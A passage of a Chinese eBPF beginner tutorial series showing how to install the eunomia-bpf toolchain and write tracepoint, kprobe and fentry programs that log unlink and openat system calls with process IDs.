<li>编译eBPF程序使用BCC工具将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。</li>
<li>加载并运行eBPF程序在用户态程序中使用BCC提供的API加载编译好的eBPF程序到内核空间然后运行该程序。</li>
<li>与eBPF程序交互用户态程序通过BCC提供的API与eBPF程序交互实现数据收集、分析和展示等功能。例如您可以使用BCC API读取eBPF程序中的map数据以获取网络数据包统计信息。</li>
<li>卸载eBPF程序当不再需要eBPF程序时用户态程序应使用BCC API将其从内核空间卸载。</li>
<li>调试与优化:使用 bpftool 等工具进行eBPF程序的调试和优化提高程序性能和稳定性。</li>
</ol>
<p>通过以上流程您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意其他框架如libbpf、cilium/ebpf和eunomia-bpf的开发流程大致相似但略有不同因此在选择框架时请参考相应的官方文档和示例。</p>
<p>通过这个过程,你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架,支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行,并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。</p>
<h2 id="下载安装-eunomia-bpf-开发工具"><a class="header" href="#下载安装-eunomia-bpf-开发工具">下载安装 eunomia-bpf 开发工具</a></h2>
<p>可以通过以下步骤下载和安装 eunomia-bpf</p>
<p>下载 ecli 工具,用于运行 eBPF 程序:</p>
<pre><code class="language-console">$ wget https://aka.pw/bpf-ecli -O ecli &amp;&amp; chmod +x ./ecli
$ ./ecli -h
Usage: ecli [--help] [--version] [--json] [--no-cache] url-and-args
</code></pre>
<p>下载编译器工具链,用于将 eBPF 内核代码编译为 config 文件或 WASM 模块:</p>
<pre><code class="language-console">$ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc &amp;&amp; chmod +x ./ecc
$ ./ecc -h
eunomia-bpf compiler
Usage: ecc [OPTIONS] &lt;SOURCE_PATH&gt; [EXPORT_EVENT_HEADER]
....
</code></pre>
<p>也可以使用 docker 镜像进行编译:</p>
<pre><code class="language-console">$ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。
export PATH=PATH:~/.eunomia/bin
Compiling bpf object...
Packing ebpf object and config into /src/package.json...
</code></pre>
<h2 id="hello-world---minimal-ebpf-program"><a class="header" href="#hello-world---minimal-ebpf-program">Hello World - minimal eBPF program</a></h2>
<p>我们会先从一个简单的 eBPF 程序开始,它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件,然后使用 ecli 工具加载并运行该程序。作为示例,我们可以暂时省略用户态程序的部分。</p>
<pre><code class="language-c">/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#define BPF_NO_GLOBAL_DATA
#include &lt;linux/bpf.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
typedef unsigned int u32;
typedef int pid_t;
const pid_t pid_filter = 0;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
SEC(&quot;tp/syscalls/sys_enter_write&quot;)
int handle_tp(void *ctx)
{
pid_t pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
if (pid_filter &amp;&amp; pid != pid_filter)
return 0;
bpf_printk(&quot;BPF triggered sys_enter_write from PID %d.\n&quot;, pid);
return 0;
}
</code></pre>
<p>这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint即在进入 write 系统调用时执行)。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID并在内核日志中打印出来。</p>
<ul>
<li><code>bpf_trace_printk()</code> 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题, but它也有一些限制最多3 参数; 第一个参数必须是%s(即字符串)同时trace_pipe在内核中全局共享其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。</li>
<li><code>void *ctx</code>ctx本来是具体类型的参数 但是由于我们这里没有使用这个参数因此就将其写成void *类型。</li>
<li><code>return 0</code>;必须这样返回0 (如果要知道why, 参考 #139 <a href="https://github.com/iovisor/bcc/issues/139">https://github.com/iovisor/bcc/issues/139</a>)。</li>
</ul>
<p>要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上,执行以下命令:</p>
<pre><code class="language-shell">sudo apt install clang llvm
</code></pre>
<p>使用 ecc 编译程序:</p>
<pre><code class="language-console">$ ./ecc minimal.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
</code></pre>
<p>或使用 docker 镜像进行编译:</p>
<pre><code class="language-shell">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>然后使用 ecli 运行编译后的程序:</p>
<pre><code class="language-console">$ sudo ./ecli run package.json
Runing eBPF program...
</code></pre>
<p>运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep &quot;BPF triggered sys_enter_write&quot;
&lt;...&gt;-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345.
&lt;...&gt;-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345.
</code></pre>
<p>按 Ctrl+C 停止 ecli 进程之后,可以看到对应的输出也停止。</p>
<p>注意:如果正在使用的 Linux 发行版(例如 Ubuntu )默认情况下没有启用跟踪子系统可能看不到任何输出,使用以下指令打开这个功能:</p>
<pre><code class="language-console">$ sudo su
# echo 1 &gt; /sys/kernel/debug/tracing/tracing_on
</code></pre>
<h2 id="ebpf-程序的基本框架"><a class="header" href="#ebpf-程序的基本框架">eBPF 程序的基本框架</a></h2>
<p>如上所述, eBPF 程序的基本框架包括:</p>
<ul>
<li>包含头文件:需要包含 &lt;linux/bpf.h&gt;&lt;bpf/bpf_helpers.h&gt; 等头文件。</li>
<li>定义许可证:需要定义许可证,通常使用 &quot;Dual BSD/GPL&quot;</li>
<li>定义 BPF 函数:需要定义一个 BPF 函数,例如其名称为 handle_tp其参数为 void *ctx返回值为 int。通常用 C 语言编写。</li>
<li>使用 BPF 助手函数:在例如 BPF 函数中,可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。</li>
<li>返回值</li>
</ul>
<h2 id="tracepoints"><a class="header" href="#tracepoints">tracepoints</a></h2>
<p>跟踪点tracepoints是内核静态插桩技术在技术上只是放置在内核源代码中的跟踪函数实际上就是在源码中插入的一些带有控制条件的探测点这些探测点允许事后再添加处理函数。比如在内核中最常见的静态跟踪方法就是 printk即输出日志。又比如在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API数量有限。</p>
<h2 id="github-模板轻松构建-ebpf-项目和开发环境"><a class="header" href="#github-模板轻松构建-ebpf-项目和开发环境">GitHub 模板:轻松构建 eBPF 项目和开发环境</a></h2>
<p>面对创建一个 eBPF 项目,您是否对如何开始搭建环境以及选择编程语言感到困惑?别担心,我们为您准备了一系列 GitHub 模板以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 <code>Use this template</code> 按钮,即可开始使用。</p>
<ul>
<li><a href="https://github.com/eunomia-bpf/libbpf-starter-template">https://github.com/eunomia-bpf/libbpf-starter-template</a>基于C语言和 libbpf 框架的eBPF项目模板</li>
<li><a href="https://github.com/eunomia-bpf/cilium-ebpf-starter-template">https://github.com/eunomia-bpf/cilium-ebpf-starter-template</a>基于C语言和cilium/ebpf框架的eBPF项目模板</li>
<li><a href="https://github.com/eunomia-bpf/libbpf-rs-starter-template">https://github.com/eunomia-bpf/libbpf-rs-starter-template</a>基于Rust语言和libbpf-rs框架的eBPF项目模板</li>
<li><a href="https://github.com/eunomia-bpf/eunomia-template">https://github.com/eunomia-bpf/eunomia-template</a>基于C语言和eunomia-bpf框架的eBPF项目模板</li>
</ul>
<p>这些启动模板包含以下功能:</p>
<ul>
<li>一个 Makefile让您可以一键构建项目</li>
<li>一个 Dockerfile用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages</li>
<li>GitHub Actions用于自动化构建、测试和发布流程</li>
<li>eBPF 开发所需的所有依赖项</li>
</ul>
<blockquote>
<p>通过将现有仓库设置为模板,您和其他人可以快速生成具有相同基础结构的新仓库,从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库,开发者可以专注于项目的核心功能和逻辑,而无需为基础设置和结构浪费时间。更多关于模板仓库的信息,请参阅官方文档:<a href="https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository">https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository</a></p>
</blockquote>
<h2 id="总结"><a class="header" href="#总结">总结</a></h2>
<p>eBPF 程序的开发和使用流程可以概括为如下几个步骤:</p>
<ul>
<li>定义 eBPF 程序的接口和类型:这包括定义 eBPF 程序的接口函数,定义和实现 eBPF 内核映射maps和共享内存perf events以及定义和使用 eBPF 内核帮助函数helpers</li>
<li>编写 eBPF 程序的代码:这包括编写 eBPF 程序的主要逻辑,实现 eBPF 内核映射的读写操作,以及使用 eBPF 内核帮助函数。</li>
<li>编译 eBPF 程序:这包括使用 eBPF 编译器(例如 clang将 eBPF 程序代码编译为 eBPF 字节码,并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。</li>
<li>加载 eBPF 程序到内核:这包括将编译好的 eBPF 内核模块加载到 Linux 内核中,并将 eBPF 程序附加到指定的内核事件上。</li>
<li>使用 eBPF 程序:这包括监测 eBPF 程序的运行情况,并使用 eBPF 内核映射和共享内存进行数据交换和共享。</li>
<li>在实际开发中,还可能需要进行其他的步骤,例如配置编译和加载参数,管理 eBPF 内核模块和内核映射,以及使用其他高级功能等。</li>
</ul>
<p>需要注意的是BPF 程序的执行是在内核空间进行的,因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包,它可以帮助开发者快速和简单地编写和运行 BPF 程序。</p>
<p>您还可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 以获取更多示例和完整的教程,全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程二在-ebpf-中使用-kprobe-监测捕获-unlink-系统调用"><a class="header" href="#ebpf-入门开发实践教程二在-ebpf-中使用-kprobe-监测捕获-unlink-系统调用">eBPF 入门开发实践教程二:在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第二篇,在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景,然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。</p>
<h2 id="kprobes-技术背景"><a class="header" href="#kprobes-技术背景">kprobes 技术背景</a></h2>
<p>开发人员在内核或者模块的调试过程中,往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息,但这种方式往往需要重新编译内核或模块,重新启动设备之类的,操作较为复杂甚至可能会破坏原有的代码执行过程。</p>
<p>而利用 kprobes 技术用户可以定义自己的回调函数然后在内核或者模块中几乎所有的函数中有些函数是不可探测的例如kprobes自身的相关实现函数后文会有详细说明动态地插入探测点当内核执行流程执行到指定的探测函数时会调用该回调函数用户即可收集所需的信息了同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息不再需要继续探测则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。</p>
<p>kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式是实现后两种的基础它可以在任意的位置放置探测点就连函数内部的某条指令处也可以它提供了探测点的调用前、调用后和内存访问出错3种回调方式分别是 <code>pre_handler</code><code>post_handler</code><code>fault_handler</code>,其中 <code>pre_handler</code> 函数将在被探测指令被执行前回调,<code>post_handler</code> 会在被探测指令执行完毕后回调(注意不是被探测函数),<code>fault_handler</code> 会在内存访问出错时被调用jprobe 基于 kprobe 实现,它用于获取被探测函数的入参值;最后 kretprobe 从名字中就可以看出其用途了,它同样基于 kprobe 实现,用于获取被探测函数的返回值。</p>
<p>kprobes 的技术原理并不仅仅包含纯软件的实现方案,它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术,前者用于让程序的执行流程陷入到用户注册的回调函数中去,而后者则用于单步执行被探测点指令,因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构,包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips有些架构实现可能并不完全具体可参考内核的 Documentation/kprobes.txt</p>
<p>kprobes 的特点与使用限制:</p>
<ol>
<li>kprobes 允许在同一个被探测位置注册多个 kprobe但是目前 jprobe 却不可以;同时也不允许以其他的 jprobe 回调函数和 kprobe 的 <code>post_handler</code> 回调函数作为被探测点。</li>
<li>一般情况下,可以探测内核中的任何函数,包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的,另外还有<code>do_page_fault</code><code>notifier_call_chain</code></li>
<li>如果以一个内联函数为探测点,则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数,因此可能无法达到用户预期的探测效果;</li>
<li>一个探测点的回调函数可能会修改被探测函数的运行上下文,例如通过修改内核的数据结构或者保存与<code>struct pt_regs</code>结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码;</li>
<li>kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数,例如在<code>printk()</code>函数上注册了探测点,而在它的回调函数中可能会再次调用<code>printk</code>函数,此时将不再触发<code>printk</code>探测点的回调,仅仅是增加了<code>kprobe</code>结构体中<code>nmissed</code>字段的数值;</li>
<li>在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存;</li>
<li>kprobes 回调函数的运行期间是关闭内核抢占的同时也可能在关闭中断的情况下执行具体要视CPU架构而定。因此不论在何种情况下在回调函数中不要调用会放弃 CPU 的函数如信号量、mutex 锁等);</li>
<li>kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现,因此栈回溯和 gcc 内嵌函数<code>__builtin_return_address()</code>调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址;</li>
<li>如果一个函数的调用次数和返回次数不相等,则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果,例如<code>do_exit()</code>函数会存在问题,而<code>do_execve()</code>函数和<code>do_fork()</code>函数不会;</li>
<li>当在进入和退出一个函数时,如果 CPU 运行在非当前任务所有的栈上,那么往该函数上注册 kretprobe 可能会导致不可预料的后果因此kprobes 不支持在 X86_64 的结构下为<code>__switch_to()</code>函数注册 kretprobe将直接返回<code>-EINVAL</code></li>
</ol>
<h2 id="kprobe-示例"><a class="header" href="#kprobe-示例">kprobe 示例</a></h2>
<p>完整代码如下:</p>
<pre><code class="language-c">#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
SEC(&quot;kprobe/do_unlinkat&quot;)
int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)
{
pid_t pid;
const char *filename;
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
filename = BPF_CORE_READ(name, name);
bpf_printk(&quot;KPROBE ENTRY pid = %d, filename = %s\n&quot;, pid, filename);
return 0;
}
SEC(&quot;kretprobe/do_unlinkat&quot;)
int BPF_KRETPROBE(do_unlinkat_exit, long ret)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
bpf_printk(&quot;KPROBE EXIT: pid = %d, ret = %ld\n&quot;, pid, ret);
return 0;
}
</code></pre>
<p>这段代码是一个简单的 eBPF 程序,用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件,这个 eBPF 程序通过使用 kprobe内核探针<code>do_unlinkat</code>函数的入口和退出处放置钩子,实现对该系统调用的跟踪。</p>
<p>首先,我们导入必要的头文件,如 vmlinux.hbpf_helpers.hbpf_tracing.h 和 bpf_core_read.h。接着我们定义许可证以允许程序在内核中运行。</p>
<pre><code class="language-c">#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
</code></pre>
<p>接下来,我们定义一个名为<code>BPF_KPROBE(do_unlinkat)</code>的 kprobe当进入<code>do_unlinkat</code>函数时,它会被触发。该函数接受两个参数:<code>dfd</code>(文件描述符)和<code>name</code>(文件名结构体指针)。在这个 kprobe 中,我们获取当前进程的 PID进程标识符然后读取文件名。最后我们使用<code>bpf_printk</code>函数在内核日志中打印 PID 和文件名。</p>
<pre><code class="language-c">SEC(&quot;kprobe/do_unlinkat&quot;)
int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)
{
pid_t pid;
const char *filename;
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
filename = BPF_CORE_READ(name, name);
bpf_printk(&quot;KPROBE ENTRY pid = %d, filename = %s\n&quot;, pid, filename);
return 0;
}
</code></pre>
<p>接下来,我们定义一个名为<code>BPF_KRETPROBE(do_unlinkat_exit)</code>的 kretprobe当从<code>do_unlinkat</code>函数退出时,它会被触发。这个 kretprobe 的目的是捕获函数的返回值ret。我们再次获取当前进程的 PID并使用<code>bpf_printk</code>函数在内核日志中打印 PID 和返回值。</p>
<pre><code class="language-c">SEC(&quot;kretprobe/do_unlinkat&quot;)
int BPF_KRETPROBE(do_unlinkat_exit, long ret)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
bpf_printk(&quot;KPROBE EXIT: pid = %d, ret = %ld\n&quot;, pid, ret);
return 0;
}
</code></pre>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。</p>
<p>要编译这个程序,请使用 ecc 工具:</p>
<pre><code class="language-console">$ ecc kprobe-link.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
</code></pre>
<p>然后运行:</p>
<pre><code class="language-console">sudo ecli run package.json
</code></pre>
<p>在另外一个窗口中:</p>
<pre><code class="language-shell">touch test1
rm test1
touch test2
rm test2
</code></pre>
<p>在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的 kprobe 演示输出:</p>
<pre><code class="language-shell">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1
rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0
rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2
rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0
</code></pre>
<h2 id="总结-1"><a class="header" href="#总结-1">总结</a></h2>
<p>通过本文的示例,我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
<p>本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程三在-ebpf-中使用-fentry-监测捕获-unlink-系统调用"><a class="header" href="#ebpf-入门开发实践教程三在-ebpf-中使用-fentry-监测捕获-unlink-系统调用">eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第三篇,在 eBPF 中使用 fentry 捕获 unlink 系统调用。</p>
<h2 id="fentry"><a class="header" href="#fentry">Fentry</a></h2>
<p>fentryfunction entry和 fexitfunction exit是 eBPF扩展的伯克利包过滤器中的两种探针类型用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。</p>
<p>与 kprobes 相比fentry 和 fexit 程序有更高的性能和可用性。在这个例子中,我们可以直接访问函数的指针参数,就像在普通的 C 代码中一样而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于fexit 程序可以访问函数的输入参数和返回值,而 kretprobe 只能访问返回值。从 5.5 内核开始fentry 和 fexit 对 eBPF 程序可用。</p>
<pre><code class="language-c">#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
SEC(&quot;fentry/do_unlinkat&quot;)
int BPF_PROG(do_unlinkat, int dfd, struct filename *name)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
bpf_printk(&quot;fentry: pid = %d, filename = %s\n&quot;, pid, name-&gt;name);
return 0;
}
SEC(&quot;fexit/do_unlinkat&quot;)
int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
bpf_printk(&quot;fexit: pid = %d, filename = %s, ret = %ld\n&quot;, pid, name-&gt;name, ret);
return 0;
}
</code></pre>
<p>这段程序是用 C 语言编写的 eBPF扩展的伯克利包过滤器程序它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 <code>do_unlinkat</code>。在这个教程中,我们将以这段程序作为示例,让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。</p>
<p>程序包含以下部分:</p>
<ol>
<li>包含头文件:包括 vmlinux.h用于访问内核数据结构、bpf/bpf_helpers.h包含eBPF帮助函数、bpf/bpf_tracing.h用于eBPF跟踪相关功能</li>
<li>定义许可证:这里定义了一个名为 <code>LICENSE</code> 的字符数组包含许可证信息“Dual BSD/GPL”。</li>
<li>定义 fentry 探针:我们定义了一个名为 <code>BPF_PROG(do_unlinkat)</code> 的 fentry 探针,该探针在 <code>do_unlinkat</code> 函数的入口处被触发。这个探针获取当前进程的 PID进程ID并将其与文件名一起打印到内核日志。</li>
<li>定义 fexit 探针:我们还定义了一个名为 <code>BPF_PROG(do_unlinkat_exit)</code> 的 fexit 探针,该探针在 <code>do_unlinkat</code> 函数的退出处被触发。与 fentry 探针类似,这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。</li>
</ol>
<p>通过这个示例,您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用,例如在本教程中的 unlink 系统调用。</p>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>编译运行上述代码:</p>
<pre><code class="language-console">$ ecc fentry-link.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
</code></pre>
<p>在另外一个窗口中:</p>
<pre><code class="language-shell">touch test_file
rm test_file
touch test_file2
rm test_file2
</code></pre>
<p>运行这段程序后,可以通过查看 <code>/sys/kernel/debug/tracing/trace_pipe</code> 文件来查看 eBPF 程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file
rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0
rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2
rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0
</code></pre>
<h2 id="总结-2"><a class="header" href="#总结-2">总结</a></h2>
<p>这段程序是一个 eBPF 程序,通过使用 fentry 和 fexit 捕获 <code>do_unlinkat</code><code>do_unlinkat_exit</code> 函数,并通过使用 <code>bpf_get_current_pid_tgid</code><code>bpf_printk</code> 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值并在内核日志中打印出来。</p>
<p>编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令,并通过查看 <code>/sys/kernel/debug/tracing/trace_pipe</code> 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程四在-ebpf-中捕获进程打开文件的系统调用集合使用全局变量过滤进程-pid"><a class="header" href="#ebpf-入门开发实践教程四在-ebpf-中捕获进程打开文件的系统调用集合使用全局变量过滤进程-pid">eBPF 入门开发实践教程四:在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid</a></h1>
<p>eBPFExtended Berkeley Packet Filter是一种内核执行环境它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大,是因为它能够在内核运行时捕获和修改数据包或者系统调用,从而实现对操作系统行为的监控和调整。</p>
<p>本文是 eBPF 入门开发实践教程的第四篇,主要介绍如何捕获进程打开文件的系统调用集合,并使用全局变量在 eBPF 中过滤进程 pid。</p>
<p>在 Linux 系统中,进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口,它们允许用户态程序请求内核执行特定操作。在本教程中,我们关注的是 sys_openat 系统调用,它用于打开文件。</p>
<p>当进程打开一个文件时,它会向内核发出 sys_openat 系统调用并传递相关参数例如文件路径、打开模式等。内核会处理这个请求并返回一个文件描述符file descriptor这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用,我们可以了解进程在什么时候以及如何打开文件。</p>
<h2 id="在-ebpf-中捕获进程打开文件的系统调用集合"><a class="header" href="#在-ebpf-中捕获进程打开文件的系统调用集合">在 eBPF 中捕获进程打开文件的系统调用集合</a></h2>
<p>首先,我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用,具体实现如下:</p>
<pre><code class="language-c">#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
/// @description &quot;Process ID to trace&quot;
const volatile int pid_target = 0;
SEC(&quot;tracepoint/syscalls/sys_enter_openat&quot;)
int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)
{
u64 id = bpf_get_current_pid_tgid();
u32 pid = id &gt;&gt; 32;
if (pid_target &amp;&amp; pid_target != pid)
return false;
// Use bpf_printk to print the process information
bpf_printk(&quot;Process ID: %d enter sys openat\n&quot;, pid);
return 0;
}
/// &quot;Trace open family syscalls.&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这段 eBPF 程序实现了:</p>
<ol>
<li>引入头文件:&lt;vmlinux.h&gt; 包含了内核数据结构的定义,&lt;bpf/bpf_helpers.h&gt; 包含了 eBPF 程序所需的辅助函数。</li>
<li>定义全局变量 <code>pid_target</code>,用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。</li>
